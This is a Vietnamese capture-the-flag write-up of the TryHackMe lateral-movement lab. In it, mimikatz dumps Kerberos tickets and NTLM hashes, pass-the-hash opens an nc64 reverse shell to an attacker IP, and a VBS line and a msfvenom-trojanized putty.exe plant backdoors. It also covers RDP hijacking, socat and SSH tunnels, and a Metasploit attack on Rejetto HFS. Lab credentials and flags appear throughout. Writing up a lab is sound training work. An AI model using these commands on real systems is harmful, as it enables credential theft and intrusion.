Microsoft Windows [Version 10.0.17763.1098]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\t1_toby.beck>
Success
THM{NO_PASSWORD_NEEDED}
Pass-the-Ticket
Trích xuất các ticket và các session key từ bộ nhớ sử dụng mimikatz:
za\t2_felicia.dean@THMJMP2 C:\Users\t2_felicia.dean>mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::tickets /export
Authentication Id : 0 ; 580550 (00000000:0008dbc6)
Session : RemoteInteractive from 3
User Name : t1_toby.beck
Domain : ZA
Logon Server : THMDC
Logon Time : 10/3/2024 3:41:18 PM
SID : S-1-5-21-3330634377-1326264276-632209373-4607
* Username : t1_toby.beck
* Domain : ZA.TRYHACKME.COM
* Password : (null)
Group 0 - Ticket Granting Service
Group 1 - Client Ticket ?
Group 2 - Ticket Granting Ticket
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : THMJMP2$
Domain : ZA
Logon Server : (null)
Logon Time : 10/3/2024 3:31:09 PM
SID : S-1-5-20
* Username : thmjmp2$
* Domain : ZA.TRYHACKME.COM
* Password : (null)
Group 0 - Ticket Granting Service
[00000000]
Start/End/MaxRenew: 10/3/2024 3:32:27 PM ; 10/4/2024 1:32:03 AM ; 10/10/2024 3:32:03 PM
Service Name (02) : ldap ; THMDC.za.tryhackme.com ; @ ZA.TRYHACKME.COM
Target Name (02) : ldap ; THMDC.za.tryhackme.com ; @ ZA.TRYHACKME.COM
Client Name (01) : THMJMP2$ ; @ ZA.TRYHACKME.COM
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac b543afb7b07286accb3ae372c92c1f720d53064d77ee87d5e9efc9bbcffee621
Ticket : 0x00000012 - aes256_hmac ; kvno = 2
[...]
* Saved to file [0;3e4]-0-0-40a50000-THMJMP2$@ldap-THMDC.za.tryhackme.com.kirbi !
[00000001]
Start/End/MaxRenew: 10/3/2024 3:32:24 PM ; 10/4/2024 1:32:03 AM ; 10/10/2024 3:32:03 PM
Service Name (02) : host ; THMJMP2.za.tryhackme.com ; @ ZA.TRYHACKME.COM
Target Name (02) : host ; THMJMP2.za.tryhackme.com ; @ ZA.TRYHACKME.COM
Client Name (01) : THMJMP2$ ; @ ZA.TRYHACKME.COM
Flags 40a10000 : name_canonicalize ; pre_authent ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac 14d65a298018907dbdeaff0ce77215c2ccf5cd471ce54a8b8216d8d31182da73
Ticket : 0x00000012 - aes256_hmac ; kvno = 4
[...]
* Saved to file [0;3e4]-0-1-40a10000-THMJMP2$@host-THMJMP2.za.tryhackme.com.kirbi !
[00000002]
Start/End/MaxRenew: 10/3/2024 3:32:23 PM ; 10/4/2024 1:32:03 AM ; 10/10/2024 3:32:03 PM
Service Name (02) : cifs ; THMDC.za.tryhackme.com ; @ ZA.TRYHACKME.COM
Target Name (02) : cifs ; THMDC.za.tryhackme.com ; @ ZA.TRYHACKME.COM
Client Name (01) : THMJMP2$ ; @ ZA.TRYHACKME.COM
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac e4e1313d5bf732a141229df3bfa35d062be7b1fa02fbfb91dda71109ca8669bb
Ticket : 0x00000012 - aes256_hmac ; kvno = 2
[...]
* Saved to file [0;3e4]-0-2-40a50000-THMJMP2$@cifs-THMDC.za.tryhackme.com.kirbi !
Group 1 - Client Ticket ?
Group 2 - Ticket Granting Ticket
[00000000]
Start/End/MaxRenew: 10/3/2024 3:32:23 PM ; 10/4/2024 1:32:03 AM ; 10/10/2024 3:32:03 PM
Service Name (02) : krbtgt ; ZA.TRYHACKME.COM ; @ ZA.TRYHACKME.COM
Target Name (--) : @ ZA.TRYHACKME.COM
Client Name (01) : THMJMP2$ ; @ ZA.TRYHACKME.COM ( $$Delegation Ticket$$ )
Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ;
Session Key : 0x00000012 - aes256_hmac d251148e53a1e6c55f21dd0650734e34bca6251309a405db99684987df50b78d
Ticket : 0x00000012 - aes256_hmac ; kvno = 2
[...]
* Saved to file [0;3e4]-2-0-60a10000-THMJMP2$@krbtgt-ZA.TRYHACKME.COM.kirbi ! [00000001]
Start/End/MaxRenew: 10/3/2024 3:32:03 PM ; 10/4/2024 1:32:03 AM ; 10/10/2024 3:32:03 PM
Service Name (02) : krbtgt ; ZA.TRYHACKME.COM ; @ ZA.TRYHACKME.COM
Target Name (02) : krbtgt ; za.tryhackme.com ; @ ZA.TRYHACKME.COM
Client Name (01) : THMJMP2$ ; @ ZA.TRYHACKME.COM ( za.tryhackme.com)
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
f2f8340a402267f211f00fb1ac2dcf3b6dff54b31c9c3da4707015c391b103e0
Ticket : 0x00000012 - aes256_hmac ; kvno = 2
[...]
* Saved to file [0;3e4]-2-1-40e10000-THMJMP2$@krbtgt-ZA.TRYHACKME.COM.kirbi !
Authentication Id : 0 ; 2029515 (00000000:001ef7cb)
Session : NetworkCleartext from 0
User Name : t2_felicia.dean
Domain : ZA
Logon Server : THMDC
Logon Time : 10/3/2024 3:56:03 PM
SID : S-1-5-21-3330634377-1326264276-632209373-4605
* Username : t2_felicia.dean
* Domain : ZA.TRYHACKME.COM
* Password : (null)
Group 0 - Ticket Granting Service
Group 1 - Client Ticket ?
Group 2 - Ticket Granting Ticket
[00000000]
Start/End/MaxRenew: 10/3/2024 3:56:03 PM ; 10/4/2024 1:56:03 AM ; 10/10/2024 3:56:03 PM
Service Name (02) : krbtgt ; ZA.TRYHACKME.COM ; @ ZA.TRYHACKME.COM
Target Name (02) : krbtgt ; ZA.TRYHACKME.COM ; @ ZA.TRYHACKME.COM
Client Name (01) : t2_felicia.dean ; @ ZA.TRYHACKME.COM ( ZA.TRYHACKME.COM )
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac d515e78709f9e9a523661fe48649ee8655504b5a8c33183b8b5ca3daacb3fab3
Ticket : 0x00000012 - aes256_hmac ; kvno = 2
[...]
* Saved to file [0;1ef7cb]-2-0-40e10000-t2_felicia.dean@krbtgt-ZA.TRYHACKME.COM.kirbi !
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : THMJMP2$
Domain : ZA
Logon Server : (null)
Logon Time : 10/3/2024 3:31:09 PM
SID : S-1-5-18
* Username : thmjmp2$
* Domain : ZA.TRYHACKME.COM
* Password : (null)
Group 0 - Ticket Granting Service
[00000000]
Start/End/MaxRenew: 10/3/2024 3:32:26 PM ; 10/4/2024 1:32:26 AM ; 10/10/2024 3:32:26 PM
Service Name (02) : ldap ; THMDC.za.tryhackme.com ; ZA.TRYHACKME.COM; @ ZA.TRYHACKME.COM
Target Name (02) : ldap ; THMDC.za.tryhackme.com ; ZA.TRYHACKME.COM; @ ZA.TRYHACKME.COM
Client Name (01) : THMJMP2$ ; @ ZA.TRYHACKME.COM ( ZA.TRYHACKME.COM)
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac 04588c02af347fe92010f2bd1d2b2b0e0c31b45daf0a2bd4b75b75d6e2c9ca16
Ticket : 0x00000012 - aes256_hmac ; kvno = 2
[...]
* Saved to file [0;3e7]-0-0-40a50000-THMJMP2$@ldap-THMDC.za.tryhackme.com.kirbi !
Group 1 - Client Ticket ?
[00000000]
Start/End/MaxRenew: 10/3/2024 3:55:54 PM ; 10/3/2024 4:10:54 PM ; 10/10/2024 3:32:26 PM
Service Name (01) : thmjmp2$ ; @ (null)
Target Name (10) : t2_felicia.dean@za.tryhackme.com ; @ (null)
Client Name (10) : t2_felicia.dean@za.tryhackme.com ; @ ZA.TRYHACKME.COM
Flags 00a10000 : name_canonicalize ; pre_authent ; renewable ;
Session Key : 0x00000012 - aes256_hmac d1c1ef2ed1d44ca6077ac7ea8fea232e27ebc7213d4d46f5e115cb90cdee1ea9
Ticket : 0x00000012 - aes256_hmac ; kvno = 4
[...]
* Saved to file [0;3e7]-1-0-00a10000.kirbi !
Group 2 - Ticket Granting Ticket
[00000000]
Start/End/MaxRenew: 10/3/2024 3:32:26 PM ; 10/4/2024 1:32:26 AM ; 10/10/2024 3:32:26 PM
Service Name (02) : krbtgt ; ZA.TRYHACKME.COM ; @ ZA.TRYHACKME.COM
Target Name (02) : krbtgt ; ZA.TRYHACKME.COM ; @ ZA.TRYHACKME.COM
Client Name (01) : THMJMP2$ ; @ ZA.TRYHACKME.COM ( ZA.TRYHACKME.COM)
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac 85bdec43e7a07cc135ff3523986adea3890f11e6b434b9c58a25df0f5b043d85
Ticket : 0x00000012 - aes256_hmac ; kvno = 2
[...]
* Saved to file [0;3e7]-2-0-40e10000-THMJMP2$@krbtgt-ZA.TRYHACKME.COM.kirbi !
Có thể thấy, ta thu được các thông tin sau:
- Authentication session của
t1_toby.beck
nhưng không có ticket và session key. - Một số TGS và TGT của
thmjmp2$
. Ngoài ra còn có các client ticket trong một số session khác của user này. - Một TGT của
t2_felicia.dean
.
Tất cả các ticket đều được lưu vào file:
za\t2_felicia.dean@THMJMP2 C:\Users\t2_felicia.dean>dir
Volume in drive C has no label.
Volume Serial Number is F4B0-FCB9
Directory of C:\Users\t2_felicia.dean
10/03/2024 03:57 PM <DIR> .
10/03/2024 03:57 PM <DIR> ..
06/22/2022 02:06 PM <DIR> .ssh
06/15/2022 06:08 AM <DIR> Contacts
06/15/2022 06:08 AM <DIR> Desktop
06/15/2022 06:08 AM <DIR> Documents
06/15/2022 06:08 AM <DIR> Downloads
06/15/2022 06:08 AM <DIR> Favorites
06/15/2022 06:08 AM <DIR> Links
08/10/2021 03:22 PM 1,355,680 mimikatz.exe
06/15/2022 06:08 AM <DIR> Music
06/15/2022 06:08 AM <DIR> Pictures
06/15/2022 06:08 AM <DIR> Saved Games
06/15/2022 06:08 AM <DIR> Searches
06/15/2022 06:08 AM <DIR> Videos
10/03/2024 03:51 PM 1,587 [0;15f9d2]-1-0-40a10000-THMJMP2$@host-THMJMP2.za.tryhackme.com.kirbi
10/03/2024 03:51 PM 1,615 [0;15fa1c]-1-0-40a10000-THMJMP2$@host-THMJMP2.za.tryhackme.com.kirbi
10/03/2024 03:51 PM 1,651 [0;171ed9]-1-0-40a10000-t1_toby.beck2@TERMSRV-THMJMP2.za.tryhackme.com.kirbi
10/03/2024 03:57 PM 1,583 [0;1ef7cb]-2-0-40e10000-t2_felicia.dean@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024 03:57 PM 1,611 [0;3e4]-0-0-40a50000-THMJMP2$@ldap-THMDC.za.tryhackme.com.kirbi
10/03/2024 03:57 PM 1,615 [0;3e4]-0-1-40a10000-THMJMP2$@host-THMJMP2.za.tryhackme.com.kirbi
10/03/2024 03:57 PM 1,611 [0;3e4]-0-2-40a50000-THMJMP2$@cifs-THMDC.za.tryhackme.com.kirbi
10/03/2024 03:57 PM 1,497 [0;3e4]-2-0-60a10000-THMJMP2$@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024 03:57 PM 1,497 [0;3e4]-2-1-40e10000-THMJMP2$@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024 03:57 PM 1,647 [0;3e7]-0-0-40a50000-THMJMP2$@ldap-THMDC.za.tryhackme.com.kirbi
10/03/2024 03:57 PM 1,593 [0;3e7]-1-0-00a10000.kirbi
10/03/2024 03:57 PM 1,497 [0;3e7]-2-0-40e10000-THMJMP2$@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024 03:57 PM 1,587 [0;435f9]-1-0-40a10000-THMJMP2$@host-THMJMP2.za.tryhackme.com.kirbi
10/03/2024 03:57 PM 1,587 [0;43b3b]-1-0-40a10000-THMJMP2$@host-THMJMP2.za.tryhackme.com.kirbi
10/03/2024 03:57 PM 1,587 [0;43e16]-1-0-40a10000-THMJMP2$@host-THMJMP2.za.tryhackme.com.kirbi
10/03/2024 03:53 PM 1,583 [0;5d5af]-2-0-40e10000-t2_felicia.dean@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024 03:50 PM 1,719 [0;8dbc6]-0-0-40a50000-t1_toby.beck@LDAP-THMDC.za.tryhackme.com.kirbi
10/03/2024 03:50 PM 1,569 [0;8dbc6]-2-0-40e10000-t1_toby.beck@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024 03:50 PM 1,705 [0;a5642]-0-0-40a50000-t1_toby.beck1@LDAP-THMDC.za.tryhackme.com.kirbi
10/03/2024 03:50 PM 1,555 [0;a5642]-2-0-40e10000-t1_toby.beck1@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024 03:50 PM 1,705 [0;bba1d]-0-0-40a50000-t1_toby.beck2@LDAP-THMDC.za.tryhackme.com.kirbi
10/03/2024 03:50 PM 1,555 [0;bba1d]-2-0-40e10000-t1_toby.beck2@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024 03:51 PM 1,705 [0;d15f4]-0-0-40a50000-t1_toby.beck3@LDAP-THMDC.za.tryhackme.com.kirbi
10/03/2024 03:51 PM 1,555 [0;d15f4]-2-0-40e10000-t1_toby.beck3@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024 03:51 PM 1,705 [0;e79fe]-0-0-40a50000-t1_toby.beck4@LDAP-THMDC.za.tryhackme.com.kirbi
10/03/2024 03:51 PM 1,555 [0;e79fe]-2-0-40e10000-t1_toby.beck4@krbtgt-ZA.TRYHACKME.COM.kirbi
27 File(s) 1,397,356 bytes
14 Dir(s) 9,282,727,936 bytes free
Sử dụng mimikatz để tấn công Pass-the-Ticket nhằm chèn access token vào bộ nhớ của session hiện tại từ một ticket đã trích xuất:
mimikatz # kerberos::ptt [0;e79fe]-2-0-40e10000-t1_toby.beck4@krbtgt-ZA.TRYHACKME.COM.kirbi
* File: '[0;e79fe]-2-0-40e10000-t1_toby.beck4@krbtgt-ZA.TRYHACKME.COM.kirbi': OK
Sử dụng klist
để kiểm tra:
za\t2_felicia.dean@THMJMP2 C:\Users\t2_felicia.dean>klist
Current LogonId is 0:0x1ef7cb
Cached Tickets: (1)
#0> Client: t1_toby.beck4 @ ZA.TRYHACKME.COM
Server: krbtgt/ZA.TRYHACKME.COM @ ZA.TRYHACKME.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent na
me_canonicalize
Start Time: 10/3/2024 15:42:03 (local)
End Time: 10/4/2024 1:42:03 (local)
Renew Time: 10/10/2024 15:42:03 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
Overpass-the-Hash/Pass-the-Key
Trích xuất khóa mã hóa trong bộ nhớ sử dụng mimikatz:
za\t2_felicia.dean@THMJMP2 C:\Users\t2_felicia.dean>mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::ekeys
Authentication Id : 0 ; 2028743 (00000000:001ef4c7)
Session : Service from 0
User Name : sshd_9788
Domain : VIRTUAL USERS
Logon Server : (null)
Logon Time : 10/3/2024 3:55:54 PM
SID : S-1-5-111-3847866527-469524349-687026318-516638107-11251895
41-9788
* Username : THMJMP2$
* Domain : za.tryhackme.com
* Password : 42 11 75 ed 17 cc aa b6 9d f7 00 59 8f 54 49 a4 5d cf 44 c9 0c cc 22 ee 00 a3 dd cf 37 6a 82 1a e0 a6 d5 77 6d 5d 9a 87 0e 62 67 56 89 cc cf a1 56 f7 30 67 79 7f 7a 8a c5 9e 72 91 58 10 89 67 92 e8 99 0b fd ca 6d c2 79 cd e3 09 9f c5 e2 b4 f1 ec 70 2d 49 0d 6d f5 08 d1 5e fe ce fb cc bc c1 b2 96 5f ee 26 5c 20 b0 99 70 27 e6 18 53 c5 ed d0 90 96 f4 3a cd 08 cf 02 3a 9b 31 9a 0e aa 4f 20 96 74 ba 54 da b4 d6 67 2a 44 92 8d e6 09 31 0d d7 5b cb 8f 16 84 92 de bc c1 78 14 32 7a 3c e2 3d 1a 67 35 89 b2 b0 ad 78 47 62 0d 5b 67 c4 1b e0 22 df 99 c8 9f 20 e5 18 20 ab 1e d8 28 21 1d 22 e9 d6 24 49 66 bd e1 20 7b ce dc 26 b7 ce 1a 6b e1 90 7a db da c8 db d9 47 ec 5a e6 ca 79 ff 38 dc 48 a4 03 d5 63 18 e7 de 9e a6 fb 48
* Key List :
aes256_hmac 1a328314b04c09563e5100207ef9cdfcabf485dd1d9f4f7e57f56d3895605ece
aes128_hmac 8d736e5cb2847235117b79193d07c373
rc4_hmac_nt 1566b5da026853d226ef612d0e63f4a9
rc4_hmac_old 1566b5da026853d226ef612d0e63f4a9
rc4_md4 1566b5da026853d226ef612d0e63f4a9
rc4_hmac_nt_exp 1566b5da026853d226ef612d0e63f4a9
rc4_hmac_old_exp 1566b5da026853d226ef612d0e63f4a9
Authentication Id : 0 ; 580550 (00000000:0008dbc6)
Session : RemoteInteractive from 3
User Name : t1_toby.beck
Domain : ZA
Logon Server : THMDC
Logon Time : 10/3/2024 3:41:18 PM
SID : S-1-5-21-3330634377-1326264276-632209373-4607
* Username : t1_toby.beck
* Domain : ZA.TRYHACKME.COM
* Password : (null)
* Key List :
aes256_hmac 6a0d48f79acaec013d928d84a102b72028d574340b6139e876e179db48fbde4e
rc4_hmac_nt 533f1bd576caa912bdb9da284bbc60fe
rc4_hmac_old 533f1bd576caa912bdb9da284bbc60fe
rc4_md4 533f1bd576caa912bdb9da284bbc60fe
rc4_hmac_nt_exp 533f1bd576caa912bdb9da284bbc60fe
rc4_hmac_old_exp 533f1bd576caa912bdb9da284bbc60fe
Sử dụng RC4 hash để tạo reverse shell có access token của t1_toby.beck
mimikatz # sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /rc4:533f1bd576caa912bdb9da284bbc60fe /run:"c:\tools\nc64.exe -e cmd.exe 10.50.77.50 4445"
user : t1_toby.beck
domain : za.tryhackme.com
program : c:\tools\nc64.exe -e cmd.exe 10.50.77.50 4445
impers. : no
NTLM : 533f1bd576caa912bdb9da284bbc60fe
| PID 5816
| TID 10012
| LSA Process is now R/W
| LUID 0 ; 2628091 (00000000:002819fb)
\_ msv1_0 - data copy @ 0000029910789360 : OK !
\_ kerberos - data copy @ 000002991152A558
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 00000299115174F8 (32) -> null
Abusing User Behaviour
Abusing Writable Shares
Nếu tồn tại một network share có quyền ghi, chúng ta có thể upload bất kỳ file nào có chứa payload và ép user thực thi chúng.
Một trường hợp điển hình là các shortcut trỏ đến một script hoặc một file thực thi ở trên network share. Mục đích của việc này là giúp cho user có thể thực thi được các script hoặc file thực thi được quản trị bởi admin mà không cần phải sao chép hoặc cài đặt ở trên từng máy của user.
Mặc dù vậy, khi user mở shortcut ở trên workstation, script hoặc file thực thi sẽ được sao chép từ server đến thư mục %temp%
của workstation rồi mới được thực thi. Vì thế, bất kỳ payload nào cũng sẽ được thực thi trong ngữ cảnh của user đang login ở trên workstation.
Backdooring .vbs
Scripts
Ví dụ, nếu tài nguyên chia sẻ là một VBS script ở trên một share có tên là myshare
, chúng ta có thể upload một bản sao của nc64.exe
ở trên myshare
rồi chèn đoạn sau vào script được chia sẻ:
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True
Câu lệnh trên sẽ sao chép nc64.exe
từ myshare
vào thư mục %temp%
của bất kỳ nạn nhân nào thực thi script và gửi một reverse shell về cho attacker.
Backdooring .exe
Files
Nếu tài nguyên chia sẻ là một file thực thi, chúng ta có thể download nó từ share về rồi sử dụng msfvenom để chèn backdoor vào trong đó.
Ví dụ, để tạo backdoor ở bên trong chương trình putty.exe
thì ta có câu lệnh sau:
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe
Sau khi chèn backdoor thì ta ghi đè vào chương trình putty.exe
có ở trên share rồi chờ nạn nhân thực thi nó để nhận reverse shell.
RDP Hijacking
Khi một admin sử dụng RDP mà đóng RDP client thay vì log out, session vẫn sẽ còn mở vô thời hạn ở trên RDP server. Nếu chúng ta có đặc quyền SYSTEM ở trên Windows Server 2016 trở xuống, chúng ta có thể chiếm quyền kiểm soát bất kỳ RDP session nào mà không cần password.
Ví dụ, liệt kê các RDP session ở trên một CMD console dưới quyền SYSTEM (chọn “Run as administrator” khi chạy CMD hoặc sử dụng PsExec.exe -s cmd
):
C:\> query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator rdp-tcp#6 2 Active . 4/1/2022 4:09 AM
luke 3 Disc . 4/6/2022 6:51 AM
Có thể thấy, chúng ta kết nối RDP sử dụng tài khoản admin với tên session là rdp-tcp#6
.
Đồng thời, ta cũng thấy một user có tên là luke
có một session đang mở với ID là 3 nhưng đã ngắt kết nối (trạng thái Disc
). Nếu chiếm quyền kiểm soát session này, người dùng đang sử dụng có thể bị ép thoát ra khỏi session và khiến cho họ chú ý. Thay vào đó, ta nên sử dụng chương trình tscon.exe
và chỉ định ID của RDP session mà ta cần kiểm soát cũng như là tên của session hiện tại:
tscon 3 /dest:rdp-tcp#6
Câu lệnh trên giúp chuyển kết nối của RDP session với ID là 3 của luke
đến RDP session có tên là /dest:rdp-tcp#6
của admin. Sau đó, chúng ta sẽ khôi phục RDP session của luke
và kết nối đến nó ngay lập tức.
Note
Windows Server 2019 không cho phép chúng ta kết nối đến RDP session của user khác mà không cung cấp mật khẩu.
Lab
Truy cập vào thmjmp2
sử dụng tài khoản của một Tier 2 Admin:
xfreerdp /v:thmjmp2.za.tryhackme.com /u:t2_kelly.blake /p:8LXuPeNHZFFG
Chạy PsExec.exe
để chuyển sang ngữ cảnh của SYSTEM nhưng gặp lỗi “Access is denied” như sau:
Hóa ra, CMD sử dụng câu lệnh `PsExec.exe` ở trên không chạy dưới quyền của Administrator.
Sau khi chạy CMD dưới quyền của Administrator thì chuyển sang ngữ cảnh của SYSTEM thành công:
Liệt kê các RDP session:
Chuyển sang RDP session của `t1_toby.beck4:
Flag nằm trong một file hình ảnh:
THM{NICE_WALLPAPER}
Port Forwarding
Ở trong thực tế, admin có thể chặn một số port vì lý do bảo mật hoặc triển khai phân vùng mạng khiến cho chúng ta không thể truy cập SMB, RDP, WinRM hoặc các port của RPC.
Để vượt qua điều này, chúng ta có thể sử dụng các kỹ thuật port forwarding bằng cách lạm dụng một số host có nhiều quyền trong network để làm cầu nối.
SSH Tunnelling
Chúng ta có thể sử dụng một tính năng của SSH có tên là SSH tunneling1.
Ví dụ, nếu firewall chặn port 3389 ở trên server và PC-1 (là một host mà ta đã kiểm soát) có quyền truy cập vào port này thì ta có thể sử dụng PC-1 để mở một “đường hầm SSH” từ máy của kẻ tấn công đến port 3389 của server mà ta muốn truy cập.
Tại sao không sử dụng PC-1 để kết nối RDP trực tiếp đến server?
Trong trường hợp ta chỉ có truy cập ở dạng terminal đến PC-1 thì điều đó là không khả thi. Một trường hợp khác là khi ta cần thực thi một exploit được viết bằng một ngôn ngữ không được hỗ trợ ở trên PC-1.
Port Forwarding With socat
Trong trường hợp SSH không khả dụng thì chúng ta có thể sử dụng socat
. Mặc dù nó không linh hoạt như SSH nhưng socat
cho phép chúng ta chuyển tiếp port một cách dễ dàng hơn nhiều. Tuy nhiên, điểm yếu của socat
là ta cần phải chuyển nó đến host được dùng làm cầu nối (PC-1) và điều này dễ bị phát hiện.
Cú pháp cơ bản để thực hiện port forwarding sử dụng socat
là:
socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321
Câu lệnh trên sẽ mở port 1234 ở trên một host và chuyển tiếp bất kỳ kết nối nào từ port đó đến port 4321 của host 1.1.1.1
. Option fork
cho phép chúng ta fork một process mới cho mỗi kết nối nhận được. Nếu không sử dụng option này, socat
sẽ đóng khi kết nối đầu tiên kết thúc.
Đối với ví dụ trên, nếu chúng ta muốn mở port 3389 ở trên PC-1 và forward tất cả các kết nối từ đó đến port 3389 ở trên host 3.3.3.3
thì sử dụng socat
như sau:
C:\>socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389
Minh họa:
Chúng ta cần cấu hình tường lửa để mở port 3389 ở trên PC-1 nhằm cho phép tất cả các kết nối đến port này:
netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389
Tương tự, nếu ta muốn expose port 80 từ máy của attacker thì sử dụng câu lệnh như sau:
C:\>socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80
Minh họa:
Dynamic Port Forwarding and SOCKS
Trong trường hợp ta muốn forward nhiều port ở trên một máy hoặc nhiều port ở trên nhiều máy thông qua một pivot host duy nhất, ta cần sử dụng dynamic port forwarding.
Sử dụng SSH để thiết lập reverse dynamic port forwarding:
C:\> ssh tunneluser@1.1.1.1 -R 9050 -N
Câu lệnh trên sẽ khởi chạy một SOCK proxy ở port 9050 và chuyển tiếp bất kỳ kết nối nào thông qua SSH tunnel.
Lab
Mục tiêu đầu tiên là kết nối RDP đến host thmiis
. Sử dụng nmap
và thấy port 3389 đã bị filtered:
root@ip-10-10-73-181:~# nmap -p 3389 thmiis.za.tryhackme.com
Starting Nmap 7.60 ( https://nmap.org ) at 2024-10-04 17:16 BST
Nmap scan report for thmiis.za.tryhackme.com (10.200.78.201)
Host is up (0.0023s latency).
rDNS record for 10.200.78.201: ip-10-200-78-201.eu-west-1.compute.internal
PORT STATE SERVICE
3389/tcp filtered ms-wbt-server
Sử dụng host thmjmp2
làm pivot host, chúng ta chạy socat
như sau để thực hiện port forwarding:
za\barbara.taylor@THMJMP2 C:\Users\barbara.taylor>C:\tools\socat\socat.exe TCP4-LISTEN:13377,fork TCP4:THMIIS.za.tryhackme.com:3389
Note
Chúng ta không thể lắng nghe trên port 3389 của host
thmjmp2
vì port này đã được sử dụng cho việc truy cập thông qua RDP của chính nó.
Kiểm tra port 13377
ở trên thmjmp2
:
root@ip-10-10-73-181:~# nmap -p 13377 THMJMP2.za.tryhackme.com
Starting Nmap 7.60 ( https://nmap.org ) at 2024-10-04 17:28 BST
Nmap scan report for THMJMP2.za.tryhackme.com (10.200.78.249)
Host is up (0.0014s latency).
rDNS record for 10.200.78.249: ip-10-200-78-249.eu-west-1.compute.internal
PORT STATE SERVICE
13377/tcp open unknown
Sau khi thiết lập socat
, sử dụng xfreerdp
như sau để truy cập vào host thmiis
nhằm lấy flag ở Desktop của t1_thomas.moore
:
user@AttackBox$ xfreerdp /v:THMJMP2.za.tryhackme.com:13389 /u:t1_thomas.moore /p:MyPazzw3rd2020
Success
THM{SIGHT_BEYOND_SIGHT}
Mục tiêu thứ hai là khai thác một phiên bản có lỗ hổng của Rejetto HFS ở trên host thmdc
. Tuy nhiên, port của ứng dụng này chỉ có thể truy cập được bởi host thmjmp2
và các kết nối outbound chỉ được cho phép với các host ở trong mạng nội bộ nên chúng ta không thể chạy các reverse shell một cách thông thường. Tồi tệ hơn, việc khai thác Rejetto HFS yêu cầu chúng ta phải host một web server và việc chặn các kết nối outbound khiến cho server này chỉ có thể chạy ở trên các host trong mạng nội bộ.
Ta cần hiểu luồng hoạt động của việc khai thác:
Đầu tiên, chúng ta cần kết nối đến port của HFS (tham số RPORT
trong Metasploit) để tạo ra một kết nối thứ hai. Kết nối thứ hai này sẽ được thiết lập với SRVPORT
của attacker machine, vốn là một web server được dùng để cung cấp payload. Cuối cùng, payload sẽ thực thi và gửi reverse shell về LPORT
của attacker machine.
Như vậy, chúng ta cần expose SRVPORT
và LPORT
của attacker machine và kết nối đến RPORT
của thmdc
sử dụng SSH tunneling với pivot host là thmjmp2
.
Câu lệnh sử dụng:
ssh tunneluser@ATTACKER_IP -R 8888:thmdc.za.tryhackme.com:80 -L *:1337:127.0.0.1:1337 -L *:1102:127.0.0.1:1102 -N
Thiết lập metasploit như sau:
msf6 exploit(windows/http/rejetto_hfs_exec) > show options
Module options (exploit/windows/http/rejetto_hfs_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 no Seconds to wait before terminating web server
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
